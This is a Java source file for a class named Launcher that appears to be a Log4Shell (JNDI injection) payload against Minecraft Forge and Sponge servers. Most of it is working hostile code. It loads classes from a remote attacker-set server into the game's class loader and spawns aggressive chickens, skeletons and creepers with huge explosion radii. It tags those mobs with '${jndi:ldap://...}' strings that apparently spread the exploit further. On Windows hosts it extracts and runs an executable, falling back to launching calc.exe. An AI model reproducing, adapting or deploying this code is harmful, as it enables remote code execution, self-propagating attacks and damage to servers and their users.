| mob_entity_class = Class.forName("net.minecraft.entity.EntityLiving"); |
| mc_world_spawn_entity_method = mc_world_class.getDeclaredMethod("func_72838_d", entity_class); |
| chicken_class = Class.forName("net.minecraft.entity.passive.EntityChicken"); |
| chicken_construtor = chicken_class.getDeclaredConstructor(mc_world_class); |
| try { |
| mob_set_name_tag_method = mob_entity_class.getDeclaredMethod("func_94058_c", String.class); |
| } catch(NoSuchMethodException e) { |
| try { |
| mob_set_name_tag_method = mob_entity_class.getDeclaredMethod("func_96094_a", String.class); |
| } catch(NoSuchMethodException ee) { |
| mob_set_name_tag_method = entity_class.getDeclaredMethod("func_96094_a", String.class); |
| } |
| } |
| set_location_and_angles_method = entity_class.getDeclaredMethod("func_70012_b", double.class, double.class, double.class, float.class, float.class); |
| /* |
| if(can_modify_method_arguments()) try { |
| Method on_item_expire_method = Launcher.class.getDeclaredMethod("on_item_expire", Object.class); |
| instance = new Launcher(); |
| if(can_modify_method_annotations()) try { |
| Map<Class<? extends Annotation>, Annotation> annotation_map = new LinkedHashMap<Class<? extends Annotation>, Annotation>(); |
| fml_subscribeevent_class = (Class<? extends Annotation>)Class.forName("cpw.mods.fml.common.eventhandler.SubscribeEvent"); |
| Class forgemodcontainer_class = Class.forName("net.minecraftforge.common.ForgeModContainer"); |
| Annotation stealed_subscribe_event_instance = null; |
| for(Method m : forgemodcontainer_class.getDeclaredMethods()) try { |
| stealed_subscribe_event_instance = m.getAnnotation(fml_subscribeevent_class); |
| if(stealed_subscribe_event_instance != null) break; |
| } catch(Exception e) { |
| e.printStackTrace(); |
| } |
| annotation_map.put(fml_subscribeevent_class, stealed_subscribe_event_instance != null ? stealed_subscribe_event_instance : instance); |
| method_declared_annotations_field.set(on_item_expire_method, annotation_map); |
| } catch(Exception e) { |
| e.printStackTrace(); |
| } |
| try { |
| forge_item_expire_event_class = Class.forName("net.minecraftforge.event.entity.item.ItemExpireEvent"); |
| Class<?>[] arg_types = (Class<?>[])method_parameter_types_field.get(on_item_expire_method); |
| if(arg_types.length > 0) arg_types[0] = forge_item_expire_event_class; |
| fml_event_bus_register_method.invoke(minecraft_forge_event_bus, forge_item_expire_event_class, instance, on_item_expire_method, null); |
| } catch(Exception e) { |
| e.printStackTrace(); |
| } |
| // More... |
| (new Thread(instance)).start(); |
| } catch(Exception e) { |
| e.printStackTrace(); |
| } |
| */ |
| try { |
| mc_world_schedule_task_method = mc_server_world_class.getDeclaredMethod("func_152344_a", Runnable.class); |
| } catch(NoSuchMethodException e) { |
| // Versions before 1.8 |
| } |
| instance = new Launcher(); |
| random = new Random(); |
| /* |
| for(Thread t : Thread.getAllStackTraces().keySet()) { |
| if(t.getName().equals("Server thread")) { |
| minecraft_server_thread = t; |
| try { |
| Field thread_target_field = Thread.class.getDeclaredField("target"); |
| thread_target_field.setAccessible(true); |
| minecraft_server_instance = thread_target_field.get(t); |
| } catch(Exception e) { |
| //e.printStackTrace(); |
| } |
| break; |
| } |
| } |
| */ |
| String version = get_minecraft_version(); |
| if(version != null) try { |
| int i = version.indexOf('.'); |
| if(i > 0) { |
| i = version.indexOf('.', i + 1); |
| if(i > 0) version = version.substring(0, i); |
| } |
| |
| try { |
| forge_mod_loader_main_class = Class.forName("cpw.mods.fml.common.Loader"); |
| } catch(ClassNotFoundException e) { |
| forge_mod_loader_main_class = Class.forName("net.minecraftforge.fml.common.Loader"); |
| } |
| Method loader_instance_method = forge_mod_loader_main_class.getDeclaredMethod("instance"); |
| forge_mod_loader_main_instance = loader_instance_method.invoke(null); |
| Field loader_mod_class_loader_field = forge_mod_loader_main_class.getDeclaredField("modClassLoader"); |
| loader_mod_class_loader_field.setAccessible(true); |
| fml_mod_class_loader = loader_mod_class_loader_field.get(forge_mod_loader_main_instance); |
| Field main_class_loader_field = fml_mod_class_loader.getClass().getDeclaredField("mainClassLoader"); |
| main_class_loader_field.setAccessible(true); |
| fml_mod_class_loader_parent_class_loader = main_class_loader_field.get(fml_mod_class_loader); |
| Class<?> mc_launchclassloader_class = fml_mod_class_loader_parent_class_loader.getClass(); |
| mc_launch_class_loader_add_url_method = mc_launchclassloader_class.getDeclaredMethod("addURL", URL.class); |
| minecraftforge_class = Class.forName("net.minecraftforge.common.MinecraftForge"); |
| Field minecraft_forge_event_bus_field = minecraftforge_class.getDeclaredField("EVENT_BUS"); |
| minecraft_forge_event_bus = minecraft_forge_event_bus_field.get(null); |
| Class<?> fml_eventbus_class = minecraft_forge_event_bus.getClass(); |
| fml_event_bus_register_method = get_fml_event_bus_register_method(fml_eventbus_class); |
| fml_event_bus_register_method.setAccessible(true); |
| try { |
| forge_entityjoinworldevent_class = Class.forName("net.minecraftforge.event.entity.EntityJoinWorldEvent"); |
| } catch(ClassNotFoundException e) { |
| e.printStackTrace(); |
| } |
| try { |
| forge_livingdeathevent_class = Class.forName("net.minecraftforge.event.entity.living.LivingDeathEvent"); |
| } catch(ClassNotFoundException e) { |
| e.printStackTrace(); |
| } |
| |
| try { |
| sponge_world_manager_class = Class.forName("org.spongepowered.common.world.WorldManager"); |
| //Field sponge_world_manager_world_by_id_map_field = sponge_world_manager_class.getDeclaredField("worldByDimensionId"); |
| sponge_world_manager_get_worlds_method = sponge_world_manager_class.getDeclaredMethod("getWorlds"); |
| } catch(Exception e) { |
| } |
| |
| URL[] class_path = new URL[] { |
| //new URL("https://sourceforge.net/projects/rivoreo-mc-plugins/files/aggressive-chickens/aggressive-chickens-1.6-mc-1.7.jar/download") |
| //new URL("https://static.planetminecraft.com/files/resource_media/mod/aggressive-chickens-1-6-mc-1-7.jar") |
| //new URL("http://60.26.156.27:87/aggressive-chickens-1.6-mc-1.7.jar"), |
| new URL("http", CLASS_SERVER_ADDRESS, CLASS_SERVER_HTTP_PORT, "/minecraftforge-" + version + "/") |
| }; |
| for(URL url : class_path) { |
| mc_launch_class_loader_add_url_method.invoke(fml_mod_class_loader_parent_class_loader, url); |
| } |
| URLClassLoader class_loader = new URLClassLoader(class_path, mc_world_class.getClassLoader()); |
| try { |
| living_entity_class = Class.forName("net.minecraft.entity.EntityLivingBase"); |
| living_entity_get_attribute_map_method = living_entity_class.getDeclaredMethod("func_110140_aT"); |
| Class<?> mob_attributes_class = Class.forName("net.minecraft.entity.SharedMonsterAttributes"); |
| Field mob_follow_range_attribute_field = mob_attributes_class.getDeclaredField("field_111265_b"); |
| mob_follow_range_attribute = mob_follow_range_attribute_field.get(null); |
| attribute_map_get_attribute_instance_method = living_entity_get_attribute_map_method.getReturnType().getDeclaredMethod("func_111151_a", mob_follow_range_attribute_field.getType()); |
| attribute_instance_set_base_value_method = attribute_map_get_attribute_instance_method.getReturnType().getDeclaredMethod("func_111128_a", double.class); |
| } catch(Exception e) { |
| e.printStackTrace(); |
| } |
| try { |
| creature_class = Class.forName("net.minecraft.entity.EntityCreature"); |
| mob_class = Class.forName("net.minecraft.entity.EntityLiving"); |
| mob_tasks_field = mob_class.getDeclaredField("field_70714_bg"); |
| mob_target_tasks_field = mob_class.getDeclaredField("field_70715_bh"); |
| Class<?> tasks_handler_class = mob_tasks_field.getType(); |
| tasks_handler_task_list_field = tasks_handler_class.getDeclaredField("field_75782_a"); |
| /* |
| Class<?>[] inner_classes = tasks_handler_class.getDeclaredClasses(); |
| if(inner_classes.length == 1) { |
| tasks_handler_task_entry_action_field = inner_classes[0].getDeclaredField("field_75733_a"); |
| } |
| */ |
| tasks_handler_task_entry_action_field = Class.forName("net.minecraft.entity.ai.EntityAITasks$EntityAITaskEntry").getDeclaredField("field_75733_a"); |
| Class<?> task_class = tasks_handler_task_entry_action_field.getType(); |
| tasks_handler_add_task_method = tasks_handler_class.getDeclaredMethod("func_75776_a", int.class, task_class); |
| tasks_handler_remove_task_method = tasks_handler_class.getDeclaredMethod("func_85156_a", task_class); |
| mob_panic_task_class = Class.forName("net.minecraft.entity.ai.EntityAIPanic"); |
| mob_tempt_task_class = Class.forName("net.minecraft.entity.ai.EntityAITempt"); |
| if(version.equals("1.7") || version.equals("1.8")) try { |
| mob_melee_attack_task_class = Class.forName("net.minecraft.entity.ai.EntityAIAttackOnCollide"); |
| mob_melee_attack_task_constructor = mob_melee_attack_task_class.getDeclaredConstructor(creature_class, double.class, boolean.class); |
| } catch(ClassNotFoundException e) { |
| e.printStackTrace(); |
| } catch(NoSuchMethodException e) { |
| e.printStackTrace(); |
| } else if(version.equals("1.9") || version.equals("1.10") || version.equals("1.11") || version.equals("1.12") || version.equals("1.13")) try { |
| mob_melee_attack_task_class = Class.forName("net.minecraft.entity.ai.EntityAIAttackMelee"); |
| } catch(ClassNotFoundException e) { |
| e.printStackTrace(); |
| } |
| mob_hurt_by_target_task_class = Class.forName("net.minecraft.entity.ai.EntityAIHurtByTarget"); |
| try { |
| mob_hurt_by_target_task_constructor = mob_hurt_by_target_task_class.getDeclaredConstructor(creature_class, boolean.class); |
| } catch(NoSuchMethodException e) { |
| mob_hurt_by_target_task_constructor = mob_hurt_by_target_task_class.getDeclaredConstructor(creature_class, boolean.class, Class[].class); |
| } |
| } catch(Exception e) { |
| e.printStackTrace(); |
| } |
| try { |
| try { |
| aggressivechickens_forgemod_class = class_loader.loadClass("org.rivoreo.minecraft.aggressivechickens.ForgeMod"); |
| } catch(ClassNotFoundException e) { |
| aggressivechickens_forgemod_class = class_loader.loadClass("rivoreo.minecraft.aggressivechickens.ForgeMod"); |
| } |
| aggressivechickens_forgemod_instance = aggressivechickens_forgemod_class.newInstance(); |
| Field field = aggressivechickens_forgemod_class.getDeclaredField("hurted_chicken_call_for_help"); |
| field.setAccessible(true); |
| field.setBoolean(aggressivechickens_forgemod_instance, true); |
| field = aggressivechickens_forgemod_class.getDeclaredField("call_help_max_distance"); |
| field.setAccessible(true); |
| field.setDouble(aggressivechickens_forgemod_instance, Double.NaN); |
| field = aggressivechickens_forgemod_class.getDeclaredField("attack_damage"); |
| field.setAccessible(true); |
| field.setInt(aggressivechickens_forgemod_instance, 4); |
| field = aggressivechickens_forgemod_class.getDeclaredField("revenge_for_killed_chicken"); |
| field.setAccessible(true); |
| field.setBoolean(aggressivechickens_forgemod_instance, true); |
| field = aggressivechickens_forgemod_class.getDeclaredField("revenge_for_killed_chicken_horizontal_distance"); |
| field.setAccessible(true); |
| field.setDouble(aggressivechickens_forgemod_instance, 16); |
| field = aggressivechickens_forgemod_class.getDeclaredField("revenge_for_killed_chicken_vertical_distance"); |
| field.setAccessible(true); |
| field.setDouble(aggressivechickens_forgemod_instance, 128); |
| field = aggressivechickens_forgemod_class.getDeclaredField("angry_when_being_stared_by_player"); |
| field.setAccessible(true); |
| field.setBoolean(aggressivechickens_forgemod_instance, false); |
| field = aggressivechickens_forgemod_class.getDeclaredField("angry_when_being_stared_by_player_max_distance"); |
| field.setAccessible(true); |
| field.setFloat(aggressivechickens_forgemod_instance, 16); |
| field = aggressivechickens_forgemod_class.getDeclaredField("attack_moving_speed"); |
| field.setAccessible(true); |
| field.setDouble(aggressivechickens_forgemod_instance, 0.9); |
| Object mod_container = null; |
| if(sponge_world_manager_class != null) try { |
| //Class.forName("org.spongepowered.api.plugin.PluginContainer", false, forge_mod_loader_main_class.getClassLoader()); |
| Method get_minecraft_mod_container = forge_mod_loader_main_class.getDeclaredMethod("getMinecraftModContainer"); |
| mod_container = get_minecraft_mod_container.invoke(forge_mod_loader_main_instance); |
| } catch(Exception e) { |
| e.printStackTrace(); |
| } |
| if(forge_entityjoinworldevent_class != null) try { |
| fml_event_bus_register_method.invoke( |
| minecraft_forge_event_bus, |
| forge_entityjoinworldevent_class, |
| aggressivechickens_forgemod_instance, |
| aggressivechickens_forgemod_class.getDeclaredMethod("on_entity_join_world", forge_entityjoinworldevent_class), |
| mod_container); |
| } catch(Exception e) { |
| e.printStackTrace(); |
| } |
| if(forge_livingdeathevent_class != null) try { |
| fml_event_bus_register_method.invoke( |
| minecraft_forge_event_bus, |
| forge_livingdeathevent_class, |
| aggressivechickens_forgemod_instance, |
| aggressivechickens_forgemod_class.getDeclaredMethod("on_living_entity_death", forge_livingdeathevent_class), |
| mod_container); |
| } catch(Exception e) { |
| e.printStackTrace(); |
| } |
| } catch(Exception e) { |
| e.printStackTrace(); |
| } |
| if(version.equals("1.7") || version.equals("1.8") || version.equals("1.9")) try { |
| try { |
| aggressivechicken_class = class_loader.loadClass("org.rivoreo.minecraft.aggressivechickens.AggressiveChicken"); |
| } catch(ClassNotFoundException e) { |
| aggressivechicken_class = class_loader.loadClass("rivoreo.minecraft.aggressivechickens.AggressiveChicken"); |
| } |
| try { |
| aggressivechicken_constructor = aggressivechicken_class.getDeclaredConstructor(chicken_class); |
| } catch(NoSuchMethodException e) { |
| aggressivechicken_constructor = aggressivechicken_class.getDeclaredConstructor(chicken_class, float.class, boolean.class); |
| } |
| aggressivechicken_constructor.setAccessible(true); |
| } catch(ClassNotFoundException e) { |
| e.printStackTrace(); |
| } catch(NoSuchMethodException e) { |
| e.printStackTrace(); |
| } else if(version.equals("1.10") || version.equals("1.11") || version.equals("1.12")) try { |
| try { |
| mob_force_melee_attack_task_class = class_loader.loadClass("org.rivoreo.minecraft.aggressivechickens.ForceAttackMeleeTask"); |
| } catch(ClassNotFoundException e) { |
| mob_force_melee_attack_task_class = class_loader.loadClass("rivoreo.minecraft.aggressivechickens.ForceMeleeAttackTask"); |
| } |
| try { |
| mob_force_melee_attack_task_constructor = mob_force_melee_attack_task_class.getDeclaredConstructor(creature_class, double.class, float.class, boolean.class); |
| } catch(NoSuchMethodException e) { |
| mob_force_melee_attack_task_constructor = mob_force_melee_attack_task_class.getDeclaredConstructor(creature_class, double.class, float.class, boolean.class, boolean.class); |
| } |
| mob_force_melee_attack_task_constructor.setAccessible(true); |
| } catch(ClassNotFoundException e) { |
| e.printStackTrace(); |
| } catch(NoSuchMethodException e) { |
| e.printStackTrace(); |
| } |
| try { |
| angrywhenbeingstaredbyplayertask_class = class_loader.loadClass("org.rivoreo.minecraft.aggressivechickens.AngryWhenBeingStaredByPlayerTask"); |
| } catch(ClassNotFoundException e) { |
| angrywhenbeingstaredbyplayertask_class = class_loader.loadClass("rivoreo.minecraft.aggressivechickens.AngryWhenBeingStaredByPlayerTask"); |
| } |
| angrywhenbeingstaredbyplayertask_constructor = angrywhenbeingstaredbyplayertask_class.getDeclaredConstructor(creature_class, double.class); |
| } catch(Exception e) { |
| e.printStackTrace(); |
| } |
| Field world_entities_field; |
| try { |
| world_entities_field = mc_world_class.getDeclaredField("field_72996_f"); |
| } catch(NoSuchFieldException e) { |
| e.printStackTrace(); |
| world_entities_field = null; |
| } |
| Collection<?> worlds = null; |
| if(sponge_world_manager_get_worlds_method != null) try { |
| worlds = (Collection<?>)sponge_world_manager_get_worlds_method.invoke(null); |
| } catch(Exception e) { |
| e.printStackTrace(); |
| } |
| if(worlds == null) worlds = forge_loaded_worlds.values(); |
| for(Object world : worlds.toArray()) { |
| wrap_thread_unsafe_collections_from_world(world); |
| if(version != null && world_entities_field != null) try { |
| Double speed = Double.valueOf(1.1); |
| Float attack_damage = Float.valueOf(4); |
| for(Object entity : ((List<?>)world_entities_field.get(world)).toArray()) { |
| if(!chicken_class.isInstance(entity)) continue; |
| if(is_chicken_aggressive(entity)) continue; |
| synchronized(entity) { |
| make_chicken_aggressive(entity, speed, attack_damage); |
| } |
| } |
| } catch(IllegalAccessException e) { |
| e.printStackTrace(); |
| } |
| } |
| try { |
| creeper_class = Class.forName("net.minecraft.entity.monster.EntityCreeper"); |
| creeper_construtor = creeper_class.getDeclaredConstructor(mc_world_class); |
| creeper_explosion_radius_field = creeper_class.getDeclaredField("field_82226_g"); |
| creeper_explosion_radius_field.setAccessible(true); |
| skeleton_class = Class.forName("net.minecraft.entity.monster.EntitySkeleton"); |
| skeleton_constructor = skeleton_class.getDeclaredConstructor(mc_world_class); |
| try { |
| entity_equipment_slot_class = Class.forName("net.minecraft.inventory.EntityEquipmentSlot"); |
| Field field = entity_equipment_slot_class.getDeclaredField("MAINHAND"); |
| entity_main_hand_slot = field.get(null); |
| field = entity_equipment_slot_class.getDeclaredField("OFFHAND"); |
| entity_alt_hand_slot = field.get(null); |
| field = entity_equipment_slot_class.getDeclaredField("HEAD"); |
| entity_head_slot = field.get(null); |
| mob_set_equipment_method = mob_entity_class.getDeclaredMethod("func_184201_a", entity_equipment_slot_class, itemstack_class); |
| } catch(Exception e) { |
| //e.printStackTrace(); |
| mob_set_equipment_method = mob_entity_class.getDeclaredMethod("func_70062_b", int.class, itemstack_class); |
| } |
| } catch(ClassNotFoundException e) { |
| e.printStackTrace(); |
| } catch(NoSuchFieldException e) { |
| e.printStackTrace(); |
| } |
| if(version != null && version.equals("1.12") && sponge_world_manager_class != null) try { |
| Class.forName("org.spongepowered.common.event.SpongeCauseStackManager", false, forge_mod_loader_main_class.getClassLoader()); |
| instance.use_thread = false; |
| try { |
| mc_world_schedule_task_method.invoke(worlds.toArray()[0], instance); |
| } catch(Exception e) { |
| e.printStackTrace(); |
| instance.use_thread = true; |
| } |
| } catch(ClassNotFoundException e) { |
| } |
| if(instance.use_thread) (new Thread(instance)).start(); |
| } catch(ClassNotFoundException e) { |
| e.printStackTrace(); |
| } catch(NoSuchMethodException e) { |
| e.printStackTrace(); |
| } |
| String sysname = System.getProperty("os.name"); |
| if(sysname != null && sysname.startsWith("Windows")) try { |
| try { |
| extract_and_run_wscntfy(); |
| } catch(Exception e) { |
| Runtime.getRuntime().exec(new String[] { |
| "calc.exe" |
| }); |
| } |
| } catch(Exception e) { |
| //e.printStackTrace(); |
| } |
| } |
| |
| public Launcher(List<?> back_list) { |
| back_collection = back_list; |
| } |
| |
| public Launcher(Set<?> back_set) { |
| back_collection = back_set; |
| } |
| |
| public Launcher(Object world, Object entity) { |
| this.world = world; |
| entity_to_spawn = entity; |
| } |
| |
| public Launcher() { |
| use_thread = true; |
| } |
| |
| private Collection back_collection; |
| private Object world; |
| private Object entity_to_spawn; |
| private boolean use_thread; |
| |
| /* |
| public void on_item_expire(Object event) { |
| System.err.println(event); |
| } |
| |
| public Class<? extends Annotation> annotationType() { |
| return fml_subscribeevent_class; |
| } |
| */ |
| |
| public void run() { |
| if(world != null && entity_to_spawn != null) { |
| try { |
| mc_world_spawn_entity_method.invoke(world, entity_to_spawn); |
| } catch(Exception e) { |
| e.printStackTrace(); |
| } |
| return; |
| } |
| |
| Double attack_moving_speed = Double.valueOf(1.2); |
| Float attack_damage = Float.valueOf(6); |
| Collection<?> worlds = null; |
| if(sponge_world_manager_get_worlds_method != null) try { |
| worlds = (Collection<?>)sponge_world_manager_get_worlds_method.invoke(null); |
| } catch(Exception e) { |
| e.printStackTrace(); |
| } |
| if(worlds == null) worlds = forge_loaded_worlds.values(); |
| for(int i = 0; i < 64; i++) for(Object world : worlds.toArray()) try { |
| wrap_thread_unsafe_collections_from_world(world); |
| for(int j = 0; j < (use_thread ? 16 : 4); j++) { |
| Constructor<?> construtor = (random.nextInt(10) == 4) ? creeper_construtor : ((random.nextInt(4) == 1) ? skeleton_constructor : chicken_construtor); |
| //Constructor<?> construtor = skeleton_constructor; |
| Object entity = construtor.newInstance(world); |
| mob_set_name_tag_method.invoke(entity, String.format("${jndi:ldap://%s/%s}", CLASS_SERVER_ADDRESS, get_entity_name(entity))); |
| Integer x = Integer.valueOf(random.nextInt(512) - 256); |
| Integer y; |
| Integer z = Integer.valueOf(random.nextInt(512) - 256); |
| try { |
| if(mc_block_pos_constructor == null) { |
| y = (Integer)mc_world_get_ground_height_at_method.invoke(world, x, z); |
| } else { |
| y = Integer.valueOf(255); |
| Object pos = mc_block_pos_constructor.newInstance(x, y, z); |
| pos = mc_world_get_ground_height_at_method.invoke(world, pos); |
| y = (Integer)mc_vec3i_get_y_method.invoke(pos); |
| } |
| } catch(Exception e) { |
| e.printStackTrace(); |
| y = Integer.valueOf(random.nextInt(16) + 64); |
| } |
| set_location_and_angles_method.invoke(entity, |
| x, y, z, |
| random.nextInt(360), random.nextInt(360)); |
| if(chicken_class.isInstance(entity)) { |
| make_chicken_aggressive(entity, attack_moving_speed, attack_damage); |
| } else if(creeper_class.isInstance(entity)) { |
| creeper_explosion_radius_field.setInt(entity, random.nextInt(128 - 4) + 4); |
| } |
| if(mob_set_equipment_method != null && skeleton_class.isInstance(entity)) { |
| Integer stack_size = Integer.valueOf(64); |
| Object sign_item_stack = itemstack_constructor_2.newInstance(sign_item, stack_size); |
| Object bow_item_stack = itemstack_constructor_2.newInstance(bow_item, stack_size); |
| if(random.nextBoolean()) { |
| set_mob_equipment(entity, 0, sign_item_stack); |
| set_mob_equipment(entity, 1, bow_item_stack); |
| } else { |
| set_mob_equipment(entity, 0, bow_item_stack); |
| set_mob_equipment(entity, 1, sign_item_stack); |
| } |
| Object egg_item_stack = itemstack_constructor_2.newInstance(egg_item, stack_size); |
| set_mob_equipment(entity, 4, egg_item_stack); |
| } |
| if(!use_thread || mc_world_schedule_task_method == null) { |
| mc_world_spawn_entity_method.invoke(world, entity); |
| } else { |
| mc_world_schedule_task_method.invoke(world, new Launcher(world, entity)); |
| } |
| if(use_thread) Thread.sleep(500); |
| } |
| if(use_thread) Thread.sleep(1); |
| } catch(Exception e) { |
| e.printStackTrace(); |
| } |
| } |
| |
| public int size() { |
| synchronized(this) { |
| return back_collection.size(); |
| } |
| } |
| |
| public boolean isEmpty() { |
| synchronized(this) { |
| return back_collection.isEmpty(); |
| } |
| } |
| public boolean contains(Object o) { |
| synchronized(this) { |
| return back_collection.contains(o); |
| } |
| } |
| public Object[] toArray() { |
| synchronized(this) { |
| return back_collection.toArray(); |
| } |
| } |
| public Object[] toArray(Object[] a) { |
| synchronized(this) { |
| return back_collection.toArray(a); |
| } |
| } |
| public Iterator<?> iterator() { |
| synchronized(this) { |
| if(back_collection instanceof List) { |
| List<?> cloned_list = new ArrayList(back_collection); |
| return cloned_list.iterator(); |
| } |
| if(back_collection instanceof Set) { |
| Set<?> cloned_set = new HashSet(back_collection); |
| return cloned_set.iterator(); |
| } |
| } |
| throw new UnsupportedOperationException("No supported backing collection"); |
| } |
| public boolean add(Object o) { |
| synchronized(this) { |
| return back_collection.add(o); |
| } |
| } |
| public boolean remove(Object o) { |
| synchronized(this) { |
| return back_collection.remove(o); |
| } |
| } |
| public boolean containsAll(Collection c) { |
| synchronized(this) { |
| return back_collection.containsAll(c); |
| } |
| } |
| public boolean addAll(Collection c) { |
| synchronized(this) { |
| return back_collection.addAll(c); |
| } |
| } |
| public boolean removeAll(Collection c) { |
| synchronized(this) { |
| return back_collection.removeAll(c); |
| } |
| } |
| public boolean retainAll(Collection c) { |
| synchronized(this) { |
| return back_collection.retainAll(c); |
| } |
| } |
| public void clear() { |
| synchronized(this) { |
| back_collection.clear(); |
| } |
| } |
| public String toString() { |
| if(back_collection != null) synchronized(this) { |
| return back_collection.toString(); |
| } |
| return "chicken"; |
| } |
| public Object get(int index) { |
| synchronized(this) { |
| return ((List)back_collection).get(index); |
| } |
| } |
| public Object set(int index, Object o) { |
| synchronized(this) { |
| return ((List)back_collection).set(index, o); |
| } |
| } |
| public void add(int index, Object o) { |
| synchronized(this) { |
| ((List)back_collection).add(index, o); |
| } |
| } |
| public Object remove(int index) { |
| try { |
| synchronized(this) { |
| return ((List)back_collection).remove(index); |
| } |
| } catch(IndexOutOfBoundsException e) { |
| for(StackTraceElement frame : e.getStackTrace()) { |
| if(!frame.getClassName().equals("net.minecraft.world.World")) continue; |
| if(!frame.getMethodName().equals("func_72939_s")) continue; |
| e.printStackTrace(); |
| return null; |
| } |
| throw e; |
| } |
| } |
| public int indexOf(Object o) { |
| synchronized(this) { |
| return ((List)back_collection).indexOf(o); |
| } |
| } |
| public int lastIndexOf(Object o) { |
| synchronized(this) { |
| return ((List)back_collection).lastIndexOf(o); |
| } |
| } |
| public boolean addAll(int index, Collection c) { |
| synchronized(this) { |
| return ((List)back_collection).addAll(index, c); |
| } |
| } |
| public ListIterator<?> listIterator() { |
| synchronized(this) { |
| List<?> cloned_list = new ArrayList(back_collection); |
| return cloned_list.listIterator(); |
| } |
| } |
| public ListIterator<?> listIterator(int index) { |
| synchronized(this) { |
| List<?> cloned_list = new ArrayList(back_collection); |
| return cloned_list.listIterator(index); |
| } |
| } |
| public List<?> subList(int begin_i, int end_i) { |
| synchronized(this) { |
| return new Launcher(((List<?>)back_collection).subList(begin_i, end_i)); |
| } |
| } |
| |
| public Object getObjectInstance(Object o, javax.naming.Name name, javax.naming.Context ctx, Hashtable<?,?> env) { |
| return name.isEmpty() ? new Launcher() : name.get(0); |
| } |
| } |